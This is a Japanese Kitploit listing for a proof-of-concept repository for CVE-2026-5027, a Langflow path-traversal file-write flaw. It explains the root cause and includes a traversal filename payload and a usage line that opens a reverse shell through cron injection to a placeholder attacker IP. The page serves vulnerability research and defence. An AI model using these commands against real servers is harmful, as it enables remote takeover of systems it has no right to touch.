Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-5027 — Langflow における、パストラバーサルを介した Cron ジョブインジェクションによるリモートコード実行 (RCE) | Kitploit
ツール/GitHubGitHub/eqstlab/cve-2026-5027
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubeqstlab/cve-2026-5027

CVE-2026-5027

Langflow における、パストラバーサルを介した Cron ジョブインジェクションによるリモートコード実行 (RCE)

リポジトリを見る
33ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

この投稿は EQSTLab が公開した研究記事です。

この脆弱性を報告・分析した Yahia Hamza に感謝します。

CVE-2026-5027

★ CVE-2026-5027 Langflow パストラバーサル / 任意ファイル書き込み PoC ★ CVE-2026-5027 PoC test


説明

CVE-2026-5027 : Langflow 任意ファイル書き込みの脆弱性

説明: Langflow <= 1.8.4 のパストラバーサル脆弱性により、攻撃者は /api/v2/files エンドポイントに送信する細工された multipart の filename を介して、意図されたアップロードディレクトリの外に任意のファイルを書き込むことができます。自動ログインが有効な環境、または認証の強制が弱い環境では、この問題を悪用して攻撃者が制御するコンテンツを機密性の高いファイルシステム上の場所に書き込むことで、リモートコード実行を達成できる可能性があります。


ラボ環境のセットアップ

Docker を使用して脆弱な環境をビルド・実行します:

イメージのビルド

root@kitploit:~
docker build -t cve-2026-5027 .

コンテナの実行

root@kitploit:~
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027

使用方法

実行

root@kitploit:~
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>

# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444

分析

脆弱性のあるエンドポイント

root@kitploit:~
POST /api/v2/files

この問題は、アップロード機能がクライアントから提供された multipart の filename 値を信頼しているために発生します。安全なサーバー側のストレージ名を生成したり、解決されたパスを専用のアップロードディレクトリに制限したりする代わりに、脆弱なコードパスでは ../ などのトラバーサルシーケンスが最終的な保存先パスに影響を与えることを許します。

その結果、攻撃者は意図されたストレージのルートから脱出し、アプリケーションにサーバーファイルシステム上の任意の場所へファイルを書き込ませることができます。

代表的な悪用フローは以下のとおりです:

  1. 通常のログイン、または自動ログインが有効な環境でアクセストークンを取得する。
  2. /api/v2/files に multipart アップロードリクエストを送信する。
  3. パストラバーサルシーケンスを含む細工された filename を指定する。
  4. Langflow に、想定されたストレージディレクトリの外へ攻撃者が制御するコンテンツを書き込ませる。

これは根本的に CWE-22: パス名の制限されたディレクトリへの不適切な制限 の問題です。

技術的な根本原因

このセキュリティ上の欠陥は、アップロード処理中にユーザーが制御するファイルパスのサニタイズと検証が不十分であることに起因します。アプリケーションはクライアントから送信された元のファイル名を受け入れ、パスの正規化と封じ込めを適切に実施せずにストレージワークフローへ渡します。

防御的な観点では、この危険なパターンは概念的に以下のコードと似ています:

root@kitploit:~
save_path = base_dir / file.filename

file.filename に次のようなパストラバーサル要素が含まれる場合:

root@kitploit:~
../../../../tmp/poc.txt

最終的に解決されたパスが base_dir の外を指す可能性があり、任意のファイル書き込みが可能になります。

なぜこれが重要か

任意のファイル書き込みの脆弱性は、攻撃者がファイルの内容だけでなく保存先パスも制御できるため、通常の無制限アップロードの問題よりも深刻になることがよくあります。Langflow プロセスの実行時権限によっては、以下が可能になる場合があります:

  • アプリケーションファイルの上書き
  • 起動ファイルやスケジュールタスクファイルの改ざん
  • シェル初期化ファイルやキーファイルによる持続性の確保
  • 任意のファイル書き込みからリモートコード実行への昇格

シナリオ

root@kitploit:~
+-------------------------------------------+
|                  Attacker                 |
+-------------------------------------------+
                      |
                      | Obtain access token
                      | or abuse auto-login
                      v
+-------------------------------------------+
|        Langflow /api/v2/files             |
+-------------------------------------------+
                      |
                      | Crafted multipart filename
                      | (../ directory traversal)
                      v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
                      |
                      | Write to sensitive location
                      v
+-------------------------------------------+
|      Potential Remote Code Execution      |
+-------------------------------------------+

免責事項

このリポジトリは、Langflow インスタンスに対する不正な悪用を助長することを意図したものではありません。このプロジェクトの目的は、セキュリティ研究者、防御者、開発者がこの脆弱性を理解し、管理された環境で曝露を検証し、効果的な緩和策を適用できるよう支援することです。


参考文献

https://www.tenable.com/security/research/tra-2026-26

https://www.cve.org/CVERecord?id=CVE-2026-5027

https://github.com/yahiahamza/CVE-2026-5027

https://github.com/langflow-ai/langflow

ツールをダウンロード